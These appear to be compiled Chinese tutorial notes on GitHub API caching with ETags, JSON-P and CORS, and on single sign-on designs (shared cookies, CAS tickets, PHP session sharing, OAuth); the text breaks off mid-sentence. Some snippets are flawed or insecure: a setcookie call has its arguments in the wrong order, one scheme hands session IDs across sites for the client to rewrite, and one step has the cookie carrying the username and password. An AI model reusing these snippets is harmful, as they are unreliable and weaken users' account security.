客户端从HTTP服务器中请求信息。
服务器返回一个ETag首部,标记内容的一个版本。
客户端在后续的所有请求中发送这个ETag首部: 如果服务器有较新的版本,返回新内容和新ETag;如果服务器没有较新的版本,返回HTTP 304响应码。
$ curl -i https://api.github.com/repos/twbs/bootstrap # 生成ETag值
$ curl -i https://api.github.com/repos/twbs/bootstrap -H 'If-None-Match: "462c74009317cf64560b8e395b9d0cdd"' # 在If-None-Match首部中传送ETag值,响应是HTTP 304即告知调用方没有新内容
【 在Web中访问内容 】
如果使用服务器端程序或命令行访问GitHub API,只要网络允许,可以发起任何请求。如果想在浏览器中使用JavaScript和XHR(XmlHttpRequest)对象访问GitHub API,要知道浏览器同源策略施加的限制,在js中不能使用标准的XHR请求访问源页面所在域名之外的域名。若想绕开这个限制有两个选择,一个很巧妙(JSON-P),另一个支持全面但是稍微麻烦点(CORS)
JSON-P和CORS是在Web浏览器中访问GitHub API的两种方式,前者简单,后者强大但需要额外配置。
JSON-P
JSON-P算是一种浏览器hack,目的是避开同源策略获取其他服务器中的信息。JSON-P之所以可用是因为同源策略不检查script标签,即页面可以从源服务器之外的服务器中引用内容,只支持向API发起GET请求。
JSON-P的用法是在JavaScript文件中使用特殊的方式编码载荷数据,将其载入自己实现的回调函数中处理。GitHub API支持这种句法: 请求脚本时为URL提供一个参数,指明加载完脚本后执行哪个回调
在cURL中可以模拟这样的请求:
$ curl https://api.github.com/?callback=myCallback
/**/myCallback({
"meta": {
"X-RateLimit-Limit": "60",
"X-RateLimit-Remaining": "52",
"X-RateLimit-Reset": "1433461950",
"Cache-Control": "public,max-age=60,s-maxage=60",
"Vary": "Accept",
"ETag": "\"a5c656a9399ccd6b44e2f9a4291c8289\"",
"X-GitHub-Media-Type": "github.v3",
"status": 200
},
"data": {
"current_user_url": "https://api.github.com/user",
"current_user_authorizations_html_url":
"https://github.com/settings/connections/applications{/client_id}",
"authorizations_url": "https://api.github.com/authorizations",
...
}
})
如果在网页中的script标签里使用上述代码中的URL<script src="https://api.github.com/?callback=myCallback" type= "text/javascript"></script>),浏览器会加载上述代码中的内容,把数据传给你定义的myCallback回调函数执行。在网页中可以像下面这样实现回调函数:
// js代码
function myCallback( payload ) {
if( 200 == payload.status ) {
document.getElementById("success").innerHTML = payload.data.current_user_url;
} else {
document.getElementById("error").innerHTML = "An error occurred";
}
}
CORS支持(教程http://www.html5rocks.com/en/tutorials/cors/)
CORS用于从源主机之外的域名中访问内容,这是W3C认可的方式。CORS要求事先正确配置服务器,查询时必须表明自己允许跨域请求。如果服务器明确表示从其他域名中访问服务器的内容,那么就允许CORS请求
因为使用CORS的XHR支持从同一域名获取的同类XHR请求,所以除了GET请求之外,还能向GitHub API发起POST、DELETE和UPDATE请求。
可以使用cURL证明GitHub API能正确响应CORS请求
curl -I https://api.github.com # -I发起HEAD请求,响应头Access-Control-Allow-Origin: *
响应中Access-Control-Allow-Credentials首部的值是true。
有些ja宿主浏览器会自动发起预检(preflight)请求,验证这个首部的值是否为true,此外还会验证Access-Control-Allow-Origin等其他首部是否正确设置,以便允许处理来自相应域的请求;有些浏览器则要求手动发起预检请求。自动预检还是手动预检由浏览器的实现决定。浏览器通过这些首部确认支持CORS后,可以向GitHub API所在的域发起XHR请求,这与向相同的域发起的任何其他XHR请求没有差别。
密码的方式,并且使用redis进行存储token数据
SSO单点登录(Single Sign On)
单点登录是指在多个应用系统中只需要用户在某个应用系统上登录一次就可以访问其他相互信任的应用系统
相互信任的站点之间应该是允许跨域的,这也是单点登录的一个必要条件
SSO是一种控制多个相关但彼此独立的系统的访问权限,拥有这一权限的用户可以使用单一的ID和密码访问某个或多个系统从而避免使用不同的用户名或密码,或者通过某种配置无缝地登录每个系统
SSO就是在一个多系统共存的环境下,用户在一处登录后就不用在其他系统中登录,也就是用户的一次登录能得到其他所有系统的信任。
单点登录在大型网站里使用得非常频繁,对于大型系统来说使用单点登录可以减少用户很多的麻烦,例如像阿里巴巴网站的背后是成百上千的子系统,用户一次操作或交易可能涉及到几十个子系统的协作,如果每个子系统都需要用户认证,不仅用户会疯掉,各子系统也会为这种重复认证授权的逻辑搞疯掉。比如百度下面有很多的子系统——百度经验、百度知道、百度文库等,如果每一个系统都需要输入用户名和密码登录一次的话,用户体验会直线下降
实现单点登录说到底就是要解决如何产生和存储那个信任,再就是其他系统如何验证这个信任的有效性
与SSO交互的2个元素时用户和系统,特点是一次登录全部访问。SSO是访问控制的一种,控制用户能否登录即验证用户身份,而且是所有其它系统的身份验证都在这里进行,从整个系统层面来看SSO的核心就是3个元素了: 用户、系统和验证中心
用户授权信息在授权服务器中是有记录的,当用户第一次授权给相应的第三方应用后,不需要进行再次授权
每个用户在资源服务器中都有一个唯一的ID,第三方应用可以将其存储起来并与本地用户系统一一对应起来
这样当用户第一次授权并且注册后(主动注册或第三方应用使用用户信息默认注册),当再次点击第三方登录的按钮,浏览器跳转到授权服务器,授权服务器通过Session找到用户的授权信息,发现该用户已经授权给该第三方应用,将直接跳转到redirect_uri,此时第三方应用通过唯一的用户ID找到相应的本地用户,自动帮助其登录
【 普通的登录认证机制 】
在浏览器Browser中访问一个应用,这个应用需要登录,填写完用户名和密码后完成登录认证。这时在这个用户的session中标记登录状态为已登录,同时在浏览器Browser中写入Cookie,这个Cookie是这个用户的唯一标识。下次再访问这个应用的时候请求中会带上这个Cookie,服务端会根据这个Cookie找到对应的session,通过session来判断这个用户是否登录。如果不做特殊配置,这个Cookie的名字叫做sessionid,值在服务端server是唯一的
【 以Cookie作为凭证媒介 】
最简单的单点登录实现方式是使用cookie作为媒介存放用户凭证。
用户登录父应用之后,应用返回一个加密的cookie,当用户访问子应用的时候携带上这个cookie,授权应用解密cookie并进行校验,校验通过则登录当前用户
以上方式把信任存储在客户端的Cookie中,这种方式很容易令人质疑:
· Cookie不安全
· 不能跨域实现免登
对于第一个问题,通过加密Cookie可以保证安全性,当然这是在源代码不泄露的前提下。如果Cookie的加密算法泄露,攻击者通过伪造Cookie则可以伪造特定用户身份,这是很危险的。
对于第二个问题,更是硬伤。
【 通过JSONP实现 】
对于跨域问题可以使用JSONP实现。
用户在父应用中登录后,跟Session匹配的Cookie会存到客户端中,当用户需要登录子应用的时候,授权应用访问父应用提供的JSONP接口,并在请求中带上父应用域名下的Cookie,父应用接收到请求,验证用户的登录状态,返回加密的信息,子应用通过解析返回来的加密信息来验证用户,如果通过验证则登录用户
这种方式虽然能解决跨域问题,但是安全性其实跟把信任存储到Cookie是差不多的。如果一旦加密算法泄露了,攻击者可以在本地建立一个实现了登录接口的假冒父应用,通过绑定Host来把子应用发起的请求指向本地的假冒父应用,并作出回应。
因为攻击者完全可以按照加密算法来伪造响应请求,子应用接收到这个响应之后一样可以通过验证,并且登录特定用户。
【 通过页面重定向的方式 】
通过父应用和子应用来回重定向中进行通信,实现信息的安全传递。
父应用提供一个GET方式的登录接口,用户通过子应用重定向连接的方式访问这个接口,如果用户还没有登录则返回一个的登录页面,用户输入账号密码进行登录。如果用户已经登录了则生成加密的Token,并且重定向到子应用提供的验证Token的接口,通过解密和校验之后,子应用登录当前用户。
这种方式较前面两种方式,接解决了上面两种方法暴露出来的安全性问题和跨域的问题,但是并没有前面两种方式方便。
安全与方便本来就是一对矛盾
【 使用独立登录系统 】
一般说来,大型应用会把授权的逻辑与用户信息的相关逻辑独立成一个应用,称为用户中心。
用户中心不处理业务逻辑,只是处理用户信息的管理以及授权给第三方应用。第三方应用需要登录的时候,则把用户的登录请求转发给用户中心进行处理,用户处理完毕返回凭证,第三方应用验证凭证,通过后就登录用户
有4个系统分别是App1、App2、App3和SSO。App1、App2、App3没有登录模块,而SSO只有登录模块,没有其他的业务模块,当App1、App2、App3需要登录时,将跳到SSO系统,SSO系统完成登录,其他的应用系统也就随之登录了
【 在同一个域名下的不同站点是如何进行sso验证的 】
PHP表单验证是完全依赖于Cookie的,如果两个站点可以共享相同的验证Cookie,这将很容易实现使用同一个用户登录多个站点
按照HTTP协议规定,两个站点是可以共享Cookie的。前提是这两个站点是在同一个域名下面(或者是二级域名也可)。这种情况是属于同域下的Cookie。浏览器会将Cookie以及该Cookie所属的域存在本地。当你对该域下的任何子站点进行访问的时候,浏览器都会将这些Cookie发送给站点系统。
假设有两个站点
www.onmpw.com/site1
www.onmpw.com/site2
这两个站点共享同一个主机地址,并且二者在同一域名下。加入你刚刚登录了www.onmpw.com/site1,你的浏览器会有一个来自www.onmpw.com/site1的身份鉴证的cookie。当你点击site1下的任何的子页面的时候,这些cookie都会发送给site1。这是很容易理��的。同样的,当你请求www.onmpw.com/site2的时候,对于site2下面的任何页面这些cookie也同样会随着请求发送过去。为什么是这样,因为在浏览器端存储的cookie的域是www.onmpw.com。site1和site2两个站点是同属于该域的。所以对于该域下的cookie,两个站点都可以得到。
这种情况,如果系统是PHP的话我们根本不需要进行什么特殊的处理。只需要按照正常的验证方式进行验证即可。因为二者的sessionId是相同的,只要它们的session信息是保存在同一个地方即可
【 同一个域但不同的子域如何进行单点登录 】
一个企业一般情况下只有一个域名,通过二级域名区分不同的系统。比如有个域名叫做: a.com,同时有两个业务系统分别为: app1.a.com和app2.a.com。要做单点登录(SSO)需要一个登录系统叫做: sso.a.com。
只要在sso.a.com登录,app1.a.com和app2.a.com就也登录了。通过上面的登陆认证机制可以知道,在sso.a.com中登录了,其实是在sso.a.com的服务端的session中记录了登录状态,同时在浏览器端Browser的sso.a.com下写入了Cookie。那么我们怎么才能让app1.a.com和app2.a.com登录呢?这里有两个问题:
1、Cookie是不能跨域的,Cookie的domain属性是sso.a.com,在给app1.a.com和app2.a.com发送请求是带不上的。
2、sso、app1和app2是不同的应用,它们的session存在自己的应用内,是不共享的。
如何解决这两个问题呢?针对第一个问题,sso登录以后可以将Cookie的域设置为顶域即.a.com,这样所有子域的系统都可以访问到顶域的Cookie。在设置Cookie时只能设置顶域和自己的域,不能设置其他的域。比如: 不能在自己的系统中给baidu.com的域设置Cookie。
Cookie的问题解决了,再来看看session的问题。在sso系统登录了,这时再访问app1,Cookie也带到了app1的服务端(Server),app1的服务端怎么找到这个Cookie对应的Session呢?这里就要把3个系统的Session共享,共享Session的解决方案有很多,例如: Spring-Session。这样第2个问题也解决了。
同域下的单点登录就实现了,但这还不是真正的单点登录
实例2
假如站点是按照下面的域名进行部署的
sub1.onmpw.com
sub2.onmpw.com
这两个站点共享同一域onmpw.com。
默认情况下,浏览器会发送cookie所属的域对应的主机。也就是说,来自于sub1.onmpw.com的cookie默认所属的域是.sub1.onmpw.com。因此,sub2.onmpw.com不会得到任何的属于sub1.onmpw.com的cookie信息。因为它们是在不同的主机上面,并且二者的子域也是不同的。
这种情况如果使用PHP来实现的话,可以设置二者的cookie信息在同一个域下。
第一 登录sub1.onmpw.com系统
第二 登录成功以后,生成唯一标识符Token(知道token,就知道哪个用户登录了)。设置cookie信息,将Token存到cookie 中,但是在设置的时候必须将这cookie的所属域设置为顶级域.onmpw.com。这里可以使用setcookie函数,该函数的第四个参数是用来设置cookie所述域的。
setcookie('token','xxx','/','.onmpw.com');
第三 访问sub2.onmpw.com系统,浏览器会将cookie中的信息username和password附带在请求中一块儿发送到sub2.onmpw.com系统。这时该系统会先检查session是否登录,如果没有登录则验证cookie中的token从而实现自动登录。
第四 sub2.onmpw.com登录成功以后再写session信息。以后的验证就用自己的session信息验证就可以了。
这里存在一个问题就是sub1系统退出以后,除了可以清除自身的session信息和所属域为.onmpw.com的cookie的信息。它并不能清除sub2系统的session信息。那sub2仍然是登录状态。也就是说,这种方式虽说可以实现单点登录,但是不能实现同时退出。原因是,sub1和sub2虽说通过setcookie函数的设置可以共享cookie,但是二者的sessionId是不同的,而且这个sessionId在浏览器中也是以cookie的形式存储的,不过它所属的域并不是.onmpw.com。也就是说二者的sessionId是不同的。
那如何解决这个问题呢?对于这种情况,只要是两个系统的sessionId相同就可以解决这个问题了,也就是说存放sessionId的cookie所属的域也是.onmpw.com。在PHP中sessionId是在session_start()调用以后生成的。要想使sub1和sub2有共同的sessionId,那必须在session_start()之前设置sessionId所属域。有两种方式:
第一 使用php函数ini_set函数进行如下设置
ini_set('session.cookie_path','/');
ini_set('session.cookie_domain','.onmpw.com');
ini_set('session.cookie_lifetime','0');
第二 直接修改php.ini 文件
session.cookie_path = /
session.cookie_domain = '.onmpw.com'
session.cookie_lifetime = 0
经过以上设置,sub1和sub2系统就会使用相同的session信息了。这样既可以实现单点登录,也可以实现同时退出。
不过还可以再简化,如确保sessionId相同就可以实现不同二级域名的单点登录与退出
【 不同域下的单点登录 】
同域下的单点登录是巧用Cookie顶域的特性,但不同域之间Cookie是不共享的
核心原理:
1、客户端访问不同的子系统,子系统对应的SSO用户服务中心使用相同的SessionId。
2、子系统Broker与Server间通过attach进行了授权链接绑定
方式一
这种方式需要借助一个单独的SSO服务专门做验证用,而且还需要对于不同的站点的用户要有一个统一的用户数据。相对于浏览器需要存储每个站点的cookie的方式来说,这种方式浏览器只需要存储SSO服务站点的cookie信息。将这个cookie信息用于其他站点从而实现单点登录。暂且将这个SSO服务站点成为www.SSOsite.com(以下简称SSOsite)。
在这种模型下,针对任何站点的请求都将会先重定向到SSOsite去验证一个身份验证cookie是否存在。如果存在则验证过的页面将会发送给浏览器,否则用户将会被重定向到登录页面
为了理解此种方式,现在运用这种模型实现以下两个站点的单点登录。
www.onmpw1.com(以下简称onmpw1)
www.onmpw2.com(以下简称onmpw2)
并且还有一个专门用来进行验证的服务站点www.SSOsite.com(以下简称SSOsite) 。
第一部分实现流程
·用户请求onmpw1的一个需要验证的页面
·onmpw1向浏览器发送重定向到SSOsite的命令,并且在地址中添加一个返回地址(ReturnUrl)参数query string,该参数的值就是最初向onmpw1请求的地址。
·SSOsite会在请求中检查是否有身份验证cookie,或者任何用户token。没有这些信息,则会再次重定向到onmpw1,在重定向到onmpw1中的请求中会带有参数让用户登录的url参数和最初的浏览器请求onmpw1的地址——ReturnUrl。
·onmpw1会检测从SSOsite重定向来的请求的参数。这时onmpw1了解到该用户需要登录,因此onmpw1会重定向到登录界面,并且通知浏览器该请求不用再重定向到SSOsite。
第二部分
·用户提供了身份验证信息并且点击了登录按钮。现在不会再去重定向到SSOsite。这时,onmpw1调用SSOsite 中的web/WCF服务去检查用户提供的身份验证信息。成功验证,会将带有token属性的用户对象返回给onmpw1。而这个token是每一次用户登录都会生成的。
·onmpw1标记用户已经登录成功,然后会生成一个URL地址,该地址会带有用户token,重定向到SSOsite。
·SSOsite检查收到的URL地址,在其中发现用户token。通过该token可以知道用户已经成功登录onmpw1了,所以SSOsite需要准备验证的cookie信息。因此它会使用token在缓存中取出用户信息来生成cookie信息,而且还会在cookie中设置一些其他的信息,例如过期时间等。然后把cookie加入到响应信息中。最后重定向到最初的ReturnUrl地址,同时token还是要被加在query string中带过去的。
·浏览器得到重定向到onmpw1的命令,并且从SSOsite中得到cookie信息。因此浏览器将所属域为SSOsite的cookie保存在本地。然后带着token去请求onmpw1。
·现在onmpw1看到用户token在query string 参数中,然后会再次通过web/WCF服务去在SSOsite上验证token。验证成功以后会将最初刚开始请求的页面发送给浏览器用于向用户输出。
第三部分
·用户现在去请求onmpw2。
·onmpw2重定向到SSOsite,同样设置ReturnUrl为刚开始请求的onmpw2的页面地址。
·浏览器接收到重定向的命令以后,因为本地存在SSOsite的cookie,所以会cookie加到请求中发送给SSOsite。
·SSOsite检查接收到的请求中发现有cookie信息,首先会检查该cookie信息是否过期,如果没有过期,将会从cookie中提取出用户token。然后带着token重定向到最初的onmpw2中的地址。
·onmpw2发现请求中有用户token,然后他会通过SSOsite的web/WCF服务验证token的合法性。验证成功以后,将最初浏览器请求onmpw2的页面发送给浏览器用以向用户输出。
总结
起初浏览器没有所属域为SSOsite的cookie信息,因此无论是点击任何站点的需要验证的界面都会跳转到登录页,这个过程是由程序内部重定向到SSOsite来检查是否存在cookie的。一旦用户登录成功,所属域为SSOsite的,并且带有登录用户信息的cookie会被浏览器存储在本地。
然后当用户再次访问需要验证的页面的时候,同样请求会在被重定向到SSOsite,并且浏览器会带上先前已经保存的cookie信息。SSOsite检索cookie,从中提取出用户token,并带着这个token重定向到最初请求的站点页面。然后该站点会通过web/WCF服务去验证token的合法性。然后将相应的页面发送给客户端。
一旦用户通过该单点登录模型登录到站点上,请求任何需要验证的页面都会内部重定向到SSOsite验证cookie和提取用户token,然后将请求的页面发送给浏览器输出。
CAS流程是单点登录的标准流程
1、用户访问app系统,app系统是需要登录的,但用户现在没有登录。
2、跳转到CAS server即SSO登录系统,SSO系统也没有登录,弹出用户登录页。
3、用户填写用户名、密码,SSO系统进行认证后,将登录状态写入SSO的session,浏览器Browser中写入SSO域下的Cookie。
4、SSO系统登录完成后会生成一个ST(Service Ticket),然后跳转到app系统,同时将ST作为参数传递给app系统。
5、app系统拿到ST后,从后台向SSO发送请求,验证ST是否有效。
6、验证通过后,app系统将登录状态写入session并设置app域下的Cookie。
至此跨域单点登录就完成了,以后再访问app系统时,app就是登录的,接下来再看看访问app2系统时的流程
1、用户访问app2系统,app2系统没有登录,跳转到SSO。
2、由于SSO已经登录了,不需要重新登录认证。
3、SSO生成ST,浏览器跳转到app2系统,并将ST作为参数传递给app2。
4、app2拿到ST,后台访问SSO,验证ST是否有效。
5、验证成功后,app2将登录状态写入session,并在app2域下写入Cookie。
这样app2系统不需要走登录流程就已经是登录了。SSO、app和app2在不同的域,它们之间的session不共享也是没问题的。
SSO系统登录后跳回原业务系统时带了个参数ST,业务系统还要拿ST再次访问SSO进行验证,觉得这个步骤有点多余。他想SSO登录认证通过后,通过回调地址将用户信息返回给原业务系统,原业务系统直接设置登录状态,这样流程简单,也完成了登录,不是很好吗?
其实这样问题很严重的,如果在SSO没有登录,而是直接在浏览器中敲入回调的地址,并带上伪造的用户信息,是不是业务系统也认为登录了呢?这是很可怕的。
1、用户访问系统1的受保护资源,系统1发现用户未登录,跳转至sso认证中心,并将自己的地址作为参数
2、sso认证中心发现用户未登录,将用户引导至登录页面
3、用户输入用户名密码提交登录申请
4、sso认证中心校验用户信息,创建用户与sso认证中心之间的会话,称为全局会话,同时创建授权令牌
5、sso认证中心带着令牌跳转会最初的请求地址(系统1)
6、系统1拿到令牌,去sso认证中心校验令牌是否有效
7、sso认证中心校验令牌,返回有效,注册系统1
8、系统1使用该令牌创建与用户的会话,称为局部会话,返回受保护资源
9、用户访问系统2的受保护资源
10、系统2发现用户未登录,跳转至sso认证中心,并将自己的地址作为参数
11、sso认证中心发现用户已登录,跳转回系统2的地址,并附上令牌
12、系统2拿到令牌,去sso认证中心校验令牌是否有效
13、sso认证中心校验令牌,返回有效,注册系统2
14、系统2使用该令牌创建与用户的局部会话,返回受保护资源
用户登录成功之后会与sso认证中心及各个子系统建立会话,用户与sso认证中心建立的会话称为全局会话,用户与各个子系统建立的会话称为局部会话,局部会话建立之后用户访问子系统受保护资源将不再通过sso认证中心,全局会话与局部会话有如下约束关系:
1、局部会话存在,全局会话一定存在
2、全局会话存在,局部会话不一定存在
3、全局会话销毁,局部会话必须销毁
单点登录实现过程
sso-client
1、拦截子系统未登录用户请求,跳转至sso认证中心
2、接收并存储sso认证中心发送的令牌
3、与sso-server通信,校验令牌的有效性
4、建立局部会话
5、拦截用户注销请求,向sso认证中心发送注销请求
6、接收sso认证中心发出的注销请求,销毁局部会话
sso-server
1、验证用户的登录信息
2、创建全局会话
3、创建授权令牌
4、与sso-client通信发送令牌
5、校验sso-client令牌有效性
6、系统注册
7、接收sso-client注销请求,注销所有会话
方式二
为了实现单点登录,当用户登录其中的任何一个站点时需要针对其他每个站点在浏览器端设置cookie信息。
如果用户在onmpw1站点进行登录,登录成功授权以后,浏览器将会存储一份儿onmpw1站点的cookie信息。同时,为了可以登录onmpw2和onmpw3,我们需要在设置onmpw1的cookie的同事也对onmpw2和onmpw3进行cookie设置。因此在对onmpw1进行响应之前,我们需要先跳转到onmpw2和onmpw3站点去设置cookie信息。
不同域之间单点登录跨域session设置
下图是对于两个站点的单点登录模型(三个的图画起来比较麻烦,为了节省时间,就用两个来表示,但是原理是相同的)
不同域之间单点登录跨域session设置流程图
此种情况的验证步骤是这样的:
一、用户向www.onmpw1.com(以下简称onmpw1)请求一个需要验证的页面。
[状态: 浏览器还没有验证的cookie信息]
二、浏览器向onmpw1发送请求,该请求没有cookie信息,因为它还没有存储所属域为onmpw1.com的cookie信息
[状态: 浏览器还没有验证的cookie信息]
三、onmpw1发现在请求中没有带cookie信息,所以它将请求重定向到登录页面
[状态: 浏览器还没有验证的cookie信息]
四、用户提交了登录所需验证的信息并且点击登录按钮,浏览器发送一个post请求到onmpw1。
[状态: 浏览器还没有验证的cookie信息]
五、onmpw1收到提交的验证信息,开始验证这些信息。如果验证成功,则标记该用户已经登录。然后会创建带有登录用户信息的cookie,并将其加入响应信息中。
[状态: 浏览器还没有验证的cookie信息]
六、onmpw1暂时还不去响应浏览器的请求。这时它将会向浏览器发送重定向到www.onmpw2.com(以下简称onmpw2)的命令,并且还带有在onmpw2站点需要返回的url地址,该地址为最初onmpw1中的。因为cookie信息已经在响应信息中,所以这个cookie也被发送给浏览器了。
[状态: 浏览器还没有验证的cookie信息]
七、浏览器接收道带有验证的cookie信息和重定向到onmpw2的命令的响应信息以后,将cookie信息的域设置为onmpw2存储到本地,并且想onmpw2发送请求。这个请求中会带有刚才的cookie信息。
[状态: 浏览器中已经有所属域为onmpw2的cookie信息]
八、onmpw2立刻会重定向到需要返回的url地址,并且通过读取浏览器发送的cookie信息,获取到onmpw1的cookie。并将这cookie也一同发送给浏览器。
[状态: 浏览器中已经有所属域为onmpw2的cookie信息]
九、浏览器在接受到这些信息以后,会将所属域为onmpw1的cookie存储在本地。并且再次向onmpw1发送一个带有cookie信息的请求。
[状态: 浏览器中已经有所属域为onmpw2和onmpw1的cookie信息]
十、onmpw1接收到验证信息以后,知道验证cookie已经设置成功。此时onmpw1会返回相应的请求界面,而不再是登录界面。
[状态: 浏览器中已经有所属域为onmpw2和onmpw1的cookie信息]
所以说当用户再次访问onmpw2的时候,cookie信息已经存储到浏览器中了,这时onmpw2会在cookie中读取到登录的用户的信息,然后提供相应的界面给浏览器。
这样单点登录就已经设置成功了。按照上述步骤,登录onmpw1以后,onmpw2和onmpw3就可以同时实现登录了。
如何退出登录
既然已经实现了单点登录,但是还得考虑退出的问题。既然是同时登录的,那总不能在退出的时候一个一个的退出,所以还要设置单点退出。
实现单点退出需要做的是当在一个站点退出的时候,其他两个站点的cookie同样也需要在浏览器中清除,这样才可以实现单点退出。
这样其实也很简单,在理解了上述单点登录的流程以后,单点退出只是按照上面的步骤将设置验证cookie改成从响应信息中移除cookie就可以实现了。
对于这种情况,不管是单点登录还是单点退出都存在一个问题,在本例中只是有三个站点,如果整个系统有10个20个或更多站点,那这样来回的重定向会很影响效率。
总结
单点登录(SSO系统)是保障各业务系统的用户资源的安全。
各个业务系统获得的信息是这个用户能不能访问我的资源。
单点登录,资源都在各个业务系统这边,不在SSO那一方。 用户在给SSO服务器提供了用户名密码后,作为业务系统并不知道这件事。SSO随便给业务系统一个ST,那么业务系统是不能确定这个ST是用户伪造的还是真的有效,所以要拿着这个ST去SSO服务器再问一下,这个用户给的ST是否有效,是有效的才能让这个用户访问。
【 sso单点登录功能模块需求 】
现在有业务服务器a.com和b.com,还有SSO服务器sso.com,在a.com上完成登录操作之后访问b.com时是已登录状态。
实现流程
1、用户首次访问a.com/user时,到a.com服务器获取不到session
2、给用户弹出一个SSO的登录页面sso.com/login.html,这个页面会带上两个参数,分别是开发者平台映射值key(即某个业务服务器在SSO所映射的key)和回调地址redirect(即登录成功之后跳转到的url,一般是所发起业务服务器开放的路由)
3、用户输入账号密码之后到SSO服务器上进行身份校验,若校验成功则给用户生成一个ticket,并将该ticket值及用户基本信息一起创建SSO服务器session
4、选择某种加密方式对该请求的session进行加密之后生成一个token值,然后在回调地址redirect里带上token参数并跳转回a.com服务器。
5、a.com对token参数进行解析后拿到用户基本信息和ticket值,相应地初始化本地session并将ticket值也记录下来。
6、用户再次访问a.com/user或其他页面的时候,到a.com上获取session并到sso.com上校验ticket值得有效性,两个操作都成功之后才返回用户信息;若校验ticket值失败则重新要求用户进行登录操作,即从步骤1开始。
7、现在用户在a.com上的登录和访问流程已完成,那这时用户访问b.com/user,到b.com上获取不到session则会重定向到sso.com/session,因为之前a.com已在sso.com上登录过,故请求sso.com/session的时候SSO服务器能将session中用户信息和ticket值返回给b.com。
8、b.com获取到用户信息和ticket值之后和a.com做相同的事情即可,这样就完成了单点登录的整个流程。
【 SSO单点登出 】
单点登出则是指用户只要在a.com服务器上进行登出操作,则在其他业务服务器如b.com上也应处于未登录状态,单点登录流程的步骤6中提到每次用户访问业务服务器路由检验用户当前状态时不仅仅查找本地有没有session,还要到SSO服务器上校验ticket值的有效性,所以只要有一个业务服务器登出时令ticket失效即可。
1、现在用户是登录状态,从a.com进行了退出操作,则自然a.com已将其session清除。
2、a.com服务器同时还要携带ticket值发请求到sso.com将对应的记录清除。
3、当访问某个b.com某个页面时,虽然在b.com服务器上获取到session,此外还需要到SSO服务器上校验一遍ticket值,而发现ticket值校验失败,则会提示用户当前处于未登录状态。
4、这样相当于b.com也已经是退出登录,完成了单点登出的整个流程
【 案例 】 1.慕课网请求QQ的OAuth登录页面 Request Token URL 未授权的令牌请求服务地址: 慕课请求时使用的带有特定参数的URL 2.用户输入QQ号密码登录并授权 3.QQ向慕课网返回登录结果 User Authorization URL 用户授权的令牌请求服务地址 AccessToken 用户通过第三方应用访问OAuth接口的令牌,生命周期 RefreshToken 刷新令牌,生命周期 token 令牌,通行证,许可证 接入QQ开放平台 申请APPID和APPKey QQ互联http://connect.qq.com php文件$_GET['code'] 引入官方SDK,从开放平台的文档中心下载SDK,保存到网站目录下 SDK核心类和重要方法 Recorder.class.php 配置读写和session存取 URL.class.php 基于CURL库的get和POST请求 Oauth.class.php Oauth相关URL动态拼接和token操作
SSO单点登录PHP简单版
session文件用记事本打开看到是一些字符,这是php对象数组序列化之后的字符串,就是把session对象序列化之后写到文件中,达到session的持久化。如果采用默认配置的话,多个网站的session文件都是存在一个地方的。如果同一台服务器中,有两个网站,网站a和网站b的session文件都会存储在一个地方,session文件都有自己的唯一标示符sessionID。sessionID是唯一的,sessionID跟session的持久化文件名称是对应的。php通过sessionID去获取session文件,反序列化出来就能达到session读取的功能了。如果两个sessionID相同的话,用户在网站a登录了,用户在去访问网站b的时候,如果sessionID相同就是已经的登录的状态了。 解决: 两个网站sessionID相同思路 php提供了session_id()函数获取sessionID,在原生PHP中能实现通过session_id()去修改sessionID,在一些框架中比较难实现,需要深究框架代码,为何难实现呢,这里要了解session_id()和session_start()一些关联了,需要先设定sessionID之后,再去session_start()。所以在框架中会自动的启用session_start(),所以在启动之后再去修改,sessionID未被修改。 sessionID相同的还有一种方式就是浏览器修改sessionID,sessionID是存储在cookie中,在配置文件中可以看到session.name=PHPSESSID,那么这个PHPSESSID就是sessionID在cookie中的name了 浏览器和服务器之间每次交互,这个cookie值都会传递给服务器,所以如果前台去修改这个值的话就可以让两个网站公用一个sessionID的值了。 具体实施: 在网站b所有的页面用户加载的时候去请求网站a的一个接口,看看用户是否有登录,如果有的话就放回sessionID给网站b,网站b接受到sessionID之后就修改浏览器cookie中的PHPSESSID值。这样网站b的用户再去操作就会发现自己sessionID对应的session文件跟网站a是同一个,从而达到同步登录。 网站b代码需要做的就是页面每次访问都需要去请求a网站的数据判断用户是否在a网站登录。那么网站a就要给出对应的页面来给网站b请求且返回数据
现在多数网站都会采用到负载均衡多服务器,如果是多服务器的话,session的存储可以考虑的memcached或者redis中,上面说道php对于session的默认存储方式是files,如果用memcached的话,就要修改配置文件php.ini session.save_handler=memcached session.save_path = "tpc://192.168.1.1" 在save_handler=memcached或者memcache这里,有点区别,如果配置写的是memcached的话,下面的save_path就要写tcp://192.168.1.1: 11211,如果是memcache的话,save_path就要填写为192.168.1.1:11211,差别不大。 至此简单版本的单点登录基本完成了。
单点登录(SSO)和OAuth授权
oauth流程 1、用户访问app1系统,app1返回登录页让用户登录。 2、用户点击微信登录,这里的微信就是OAuth Server,跳转到微信登录页,带上参数appid和回调地址(backUrl)。在与OAuth Server做对接的时候,先要在OAuth Server上注册自己的系统(app1),需要填写应用的名称、回调地址等,OAuth Server会生成appid和appSecret,这两个变量是非常关键的。 3、微信后台(OAuth Server)根据appid查找到app1的注册信息,校验参数backUrl和注册的回调地址是否一致(这里可以只校验域名或一级域名,具体要看OAuth Server怎么设计),如果校验不通过则返回错误,校验成功则返回授权页。 4、微信弹出授权页,如果微信没有登录则弹出登录并授权页。这个过程是微信询问用户,是否同意app1系统访问微信的资源。用户授权后微信后台(OAuth Server)会生成这个用户对应的code,并通过app1的backUrl返回app1系统。 5、app1系统拿到code后再带上appid和appSecret从后台访问微信后台(OAuth Server),换取用户的token。 6、app1拿到token后再去微信后台(OAuth Server)获取用户的信息。 7、app1设置session为登录状态,并将用户信息(昵称、头像等)返回给Browser。 用户授权后为什么不直接返回token,而是要用code换取token?这是因为如果直接返回token,token会先到浏览器(Browser),然后再到app1系统,到了浏览器这个token就不安全了,有可能被窃取,token被窃取后微信后台(OAuth Server)中,这个用户的信息就不安全了。然而在用code换取token时是带上了appid和appSecret的,微信后台(OAuth Server)可以判断appid和appSecret的合法性,确认无误后再直接将token返回给app1,没有经过浏览器,token是安全的。 【 静默登录 】 上面的流程是用户先访问app1,点击微信登录后跳到微信。如果先打开了微信,在微信里边再打开app1,这个流程就像在微信里打开了京东,这里微信就是OAuth Server,京东就是app1。在这个流程中可以省略掉询问用户是否授权的过程,也就是在微信里打开京东(app1)的时候京东(app1)带着appid和backUrl访问微信(OAuth Server),微信(OAuth Server)验证appid和backUrl,并且微信(OAuth 